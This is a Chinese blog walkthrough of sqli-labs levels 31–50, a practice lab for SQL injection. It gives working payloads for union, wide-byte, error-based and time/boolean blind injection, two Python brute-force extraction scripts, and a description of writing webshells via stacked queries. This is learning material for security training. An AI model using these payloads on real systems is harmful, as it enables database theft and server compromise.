sqli-lab 31-50

已于 2022-04-27 00:29:57 修改
阅读量2.6k 收藏 1
点赞数
文章标签： web安全
于 2022-04-19 01:53:58 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/plant1234/article/details/124232586
版权

Less-31:

Less-31和Less-30一样

在index.php页面没有防护是")闭合

直接打：

在这里插入图片描述

在login.php页面有防护

在这里插入图片描述
和Less-30一样利用参数污染攻击：

-1") union select 1,2,(select group_concat(username) from users)-- ad

获取username值：

在这里插入图片描述

Less-32:

打开题目发现题目提示：
在这里插入图片描述

我们输入的字符查询将被转义，并且给出了id值的十六进制：

在这里插入图片描述

这就容易让我们想到宽字节注入

具体看这篇博客：
https://blog.csdn.net/qq_43504939/article/details/90108468

尝试注入：

?id=1%df'

在这里插入图片描述
进行union注入
获取字段：
在3处不报错，4处报错，字段为3

?id=1%df' order by 3-- as

在这里插入图片描述

找出在2,3处位置回显

-1%df' union select 1,2,3-- sa

在这里插入图片描述

获取数据库：

-1%df' union select 1,2,database()-- sa

在这里插入图片描述

表名：

?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- sa

在这里插入图片描述
获取user字段：

这里涉及要获取表名和数据库是要用where 判断=‘user’,有引号会被转义所有利用Hex编码绕过：

-1%df' union select 1,2,(group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)-- s

在这里插入图片描述

获取usrname值：

?id=-1%df' union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-33:

与上一关一样宽字节注入：

在这里插入图片描述

获取username的值：

在这里插入图片描述

Less-34:

打开题目发现和上一题一样但是这题是POST请求：

在这里插入图片描述

但是直接在页面请求是没用用的：
在这里插入图片描述

发现没有逃逸

用burpsuite抓包看一下发现被编码了：

在这里插入图片描述

改一下在发送：

在这里插入图片描述

宽字节注入成功

剩下步骤与31题一样

获取username的值：

-1%df' union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-35:

这题发现对 ’ 进行了转义但这是整数型注入不需要单引号

所以直接注入：

获取username的值：

?id=-1 union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-36:

发现和Less-34一样，具体就不在累赘直接上payload:

获取payload的值

?id=-1%df' union select 1,(select group_concat(username) from users)-- ad

在这里插入图片描述

Less-37:

发现和Less-34一样，具体就不在累赘直接上payload:

获取payload的值

uname=-1%df' union select 1,(select group_concat(username) from users)-- ad&passwd=123456&submit=Submit

在这里插入图片描述

Less-38:

打开题目发现可以进行简单的union注入：

?id=-1' union select 1,(select group_concat(username) from users)-- ad

在这里插入图片描述

但根据题目提示可以进行堆叠注入，就测一波堆叠注入：

直接写一句话木马：

在这里插入图片描述

访问执行命令得到：

在这里插入图片描述

Less-39:

这一题和# Less-38一样也是堆叠注入但不同的是是整型注入，还是直接执行命令写shell:

在这里插入图片描述

访问执行命令：

在这里插入图片描述

Less-40:

这一题和# Less-39一样也是堆叠注入但不同的是先通过布尔盲注找到用 ') 闭合，还是直接执行命令写shell:

在这里插入图片描述
访问执行命令：

在这里插入图片描述

Less-41:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是整型注入，还是直接执行命令写shell:

在这里插入图片描述
访问执行命令：

在这里插入图片描述

Less-42:

通过burpsuite抓包获取请求信息：

在这里插入图片描述

换hackbar请求(比较直观)：

在这里插入图片描述
发现单引号报错,并且也是堆叠注入

于是写入shell:

在这里插入图片描述
访问执行命令：

在这里插入图片描述

Less-43:

这一题和# Less-42一样也是堆叠注入但不同的是 ') 闭合，还是直接执行命令写shell:

在这里插入图片描述

访问执行命令：

在这里插入图片描述

Less-44:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是：sad’ or 1=1#闭合，还是直接执行命令写shell:

在这里插入图片描述

访问执行命令：

在这里插入图片描述

Less-45:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是：
') 闭合，还是直接执行命令写shell:

在这里插入图片描述

访问执行命令：

在这里插入图片描述

Less-46:

打开题目经过测试，发现sort的值为1,2,3并且为按那个列排序，且是整数型注入：

在这里插入图片描述

可以打报错注入得到，这里就不浪费时间了
直接获取username的值:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)

在这里插入图片描述

Less-47:

这一题和# Less-46一样也是堆叠注入但不同的是：
') 闭合

可以打报错注入得到，这里就不浪费时间了
直接获取username的值:

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+

在这里插入图片描述

Less-48:

通过测试发现不会报错是一个整数盲注

当我们输入的sort不存在是得到：

在这里插入图片描述

当连接上or sleep(1)时：

?sort= 0 or sleep(1)

得到：

在这里插入图片描述

发现发生了延时，当前面的sort存在时不发生延时，发生短路。

所以用下面这个语句，判断当前数据库的第一个值是否为s,正确的话为1,不发生延时，否则延时：

?sort=(ord(substr(database(),1,1))=115) or sleep(1)

结果是不延时，可以确定当前数据库 的第一个值

但这样太慢，我采用rand()函数

在这里插入图片描述

在这里插入图片描述

可以发现rand(0)和rand(1)的排序结果是不一样的

所以我们限制只输出一条用：limit 1

这样就可以USRNAME来判断达到布尔盲注

列：

?sort=rand(length(database())>7) limit 1

在这里插入图片描述

在这里插入图片描述

发现大于7时为Dumb

所以database()的长度为7

所以编写出脚本获取值：

import requests
url = 'http://127.0.0.1/sqli/Less-48/?sort='
str = ''
m = 0
print('[*]开始爆破......')
print('[*]:',end='')

while True:
    m += 1 #长度
    over = str #判断结束标志
    for code in range(1,256):

        #获取数据库：f'rand(ord(substr(database(),{m},1))={code}) limit 1'
        #获取表：f'rand(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{m},1))={code}) limit 1'
        #获取字段：f"rand(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{m},1))={code}) limit 1"
        #获取值:f'rand(ord(substr((select group_concat(username) from users),{m},1))={code}) limit 1'
        payload = f'rand(ord(substr((select group_concat(username) from users),{m},1))={code}) limit 1'
        html = requests.get(url+payload)
        sign = html.text

        if 'admin3' in sign:
            str += chr(code)
            print(f'{chr(code)}',end='')

    if over == str:
        break

print()
print(f'[*]爆破结果：{str}')

得到username的值：

在这里插入图片描述

Less-49:

Less-49和Less-48一样都是盲注，但是49是用 ’ 闭合，所以我采用用的是时间盲注：

?sort=1' and if(1<2,sleep(1),1)-- as

编写脚本

import requests
url = 'http://127.0.0.1/sqli/Less-49/?sort='
str = ''
m = 0
print('[*]开始爆破......')
print('[*]:',end='')

while True:
    m += 1 #长度
    over = str #判断结束标志
    for code in range(1,256):

        #获取数据库：f"1' and if((ord(substr(database(),{m},1))={code}),sleep(1),1)-- as"
        #获取表：f"1' and if((ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{m},1))={code}),sleep(1),1)-- as"
        #获取字段：f"1' and if((ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{m},1))={code}),sleep(1),1)-- as"
        #获取值:f"1' and if((ord(substr((select group_concat(username) from users),{m},1))={code}),sleep(1),1)-- as"
        payload = f"1' and if((ord(substr(database(),{m},1))={code}),sleep(1),1)-- as"
        html = requests.get(url+payload)
        sign = html.elapsed.seconds

        if sign >1:
            str += chr(code)
            print(f'{chr(code)}',end='')

    if over == str:
        break

print()
print(f'[*]爆破结果：{str}')

获取username的值：

在这里插入图片描述

Less-50:

打开题目发现和49一样都是排序，但是50发现单引号报错所以可以打报错注入，又因为题目提示可以打堆叠注入所以直接写shell

在进一步测试发现是整型注入，不需要闭合

所以直接写shell:

在这里插入图片描述

访问执行：

在这里插入图片描述

南冥~
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqli-labs(50-53)
qq_43579362的博客
03-01 759
Less-50 从源码可以看出，这里执行sql语句的函数是mysqli_multi_query()，它与以往执行sql语句的函数mysqli_query()不同，它一次可执行多条语句，而以往的一次只能执行一条，所以可以使用堆叠注入，之前都做过很多堆叠注入了，所以不再演示，只是这里为字符型注入，下面把一些基础常用的sql语句进行了罗列 数据库 # 查看所有数据库 SHOW DATABASES; #创...
SQLi LABS Less-31 联合注入
wangyuxiang946的博客
08-16 1万+
sqlilabs31，SQLi-LABS第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
（手工）【sqli-labs50-53】order by注入
07-16 710
【SQL-order by注入】
sqli-lab(11)
qq_53030229的博客
05-03 600
文章目录一、判断注入点二、判断回显字段三、获取数据库四、获取数据表五、获取字段六、获取username、password 一、判断注入点 首先，我们使用burpsuit抓包，个人认为这样比较方便吧，你们也可以使用其他方式，基本过程都一样 二、判断回显字段 这里回显字段是有两个，看下图，如果回显字段为3时，响应显示报错，字段为2是则没有报错 三、获取数据库 uname=1234'union select 1,updatexml(1,concat(0x7e,(select database()),0x7e
sqli-lab教程——1-35通关
缘木之鱼
05-08 5752
刚做sqli-lab的时候，我逛了几个博客论坛没找到什么特别完整的教程，在这里写一篇更完整的教程。 本教程中使用到的大部分函数可以在我的sql注入入门必备基础知识中找到具体说明和使用方法。 一些术语使用错误请见谅。 一些题目有多种方法，本人也是在学习当中，我会尽可能补全，但是精力有限，文章不尽完美，请见谅。 目录 Page-1（Basic Challenges）Less-1 GET - Error...
使用phpstudy搭建sqli-lab靶场
AmeV_ll的博客
02-13 266
靶场搭建
sqli-lab环境搭建
cangyu51462的博客
12-16 2754
安装sqli-lab
详细sqli-labs（1-65）通关讲解
热门推荐
dreamthe的博客
05-17 14万+
​ 如果刚开始接触sql注入，那么sqli-labs这个靶场会很适合你，里面包含了很多的情景，以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。​SQL注入非常详细总结_糊涂是福yyyy的博客-CSDN博客_sql注入数据包 ​...
Sqli-labs通关全解---关于Sqli-lab--1
cyynid的博客
01-10 527
靶场搭建
sqli-lab通关txt
07-22
在这个sqli-lab通关txt文件中，我们预计会找到一系列关于SQL注入攻击的实战教程，主要涵盖了从基础到进阶的10个不同阶段的练习。 SQL注入通常发生在Web应用中，当用户输入的数据没有被正确地过滤或转义，导致这些...
第三节 Sqli-lab环境搭建-01
09-15
Sqli-lab环境搭建-01 在本节中，我们将讨论如何搭建Sqli-lab环境，包括安装PhpStudy环境、火狐浏览器插件、Sqlmap和Sqli-Lab等工具。这些工具将帮助我们学习SQL注入漏洞检测和利用。 PhpStudy环境安装 PhpStudy是...
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-lab注入练习源码
06-25
Sqli-lab是一个专门设计用于SQL注入学习和实践的平台，它为初学者和经验丰富的安全专家提供了多种级别的练习，帮助他们了解并掌握如何防止这种攻击。 首先，我们来详细了解SQL注入的基本原理。当Web应用程序接收...
sqli-lab操作详解
07-12
本篇文章将详细讲解SQL注入漏洞以及如何在`sqli-lab`这个实践环境中进行操作。 一、SQL注入的理解 SQL注入的基本原理是利用程序对用户输入数据的不当处理，使得恶意SQL代码能够与服务器上的数据库交互。当Web应用未...
web安全基础学习
m0_71332744的博客
07-31 438
记录学习的原理，少有实操持续更新
从零开始学习网络安全渗透测试之基础入门篇——（六）网络抓包&全局协议&封包监听&网卡模式&科来&wireshark&PC应用
love6a6的博客
08-02 865
是一种用于捕获和分析网络数据包的技术手段。它能够帮助我们深入了解网络中的数据传输情况，对于网络故障排查、性能优化、安全监测等方面都具有重要意义。网络抓包的工作原理通常是通过将网络接口设置为混杂模式，使其能够接收流经该接口的所有数据包。然后，使用专门的抓包软件或工具对这些数据包进行捕获和存储。为了方便大家使用，作者收集到百度网盘分享学习。链接：https://pan.baidu.com/s/1uKUsQfIlWOxTNPvU8DewKQ?pwd=mf7v提取码：mf7v。
【网络安全】CR/LF注入+Race Condition绕过MFA
等风来
08-02 196
ExaHub（此处为虚拟名称）是一个专为 Exa 编程语言的爱好者和专业人士量身定制的平台。Exa 语言以其出色的速度和性能而闻名，广泛应用于科学计算、机器学习和数据科学等领域。ExaHub 提供了集中式的枢纽，用户可以访问各种资源，协作开展项目，并利用专为 Julia 生态系统定制的工具。CR/LF（回车/换行）注入是一种安全漏洞。CR/LF指的是两个ASCII控制字符的序列：回车（CR，ASCII码13）和换行（LF，ASCII码10）。
汽车网络安全 -- MAC介绍：CMAC与CBC-MAC不能混为一谈
最新发布
认真搞搞汽车MCU
08-02 260
MAC全称Message authentication code，是经过特定算法后产生的一小段数据信息，用于校验某数据的完整性和真实性。在数据传递过程中，可检查其内容是否被更改过，不管更改的原因是来自意外或是蓄意攻击。同时可以作为数据来源的身份验证，确认数据的来源。常见的MAC算法包括CMAC和HMAC。
sqli-lab安装
09-05
要安装sqli-lab，您需要按照以下步骤进行操作： 1. 首先，确保您具有Web服务器环境。您可以使用Apache、Nginx或其他适合您的环境的Web服务器。 2. 下载sqli-lab的代码。您可以从GitHub存储库中获取它，链接：...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值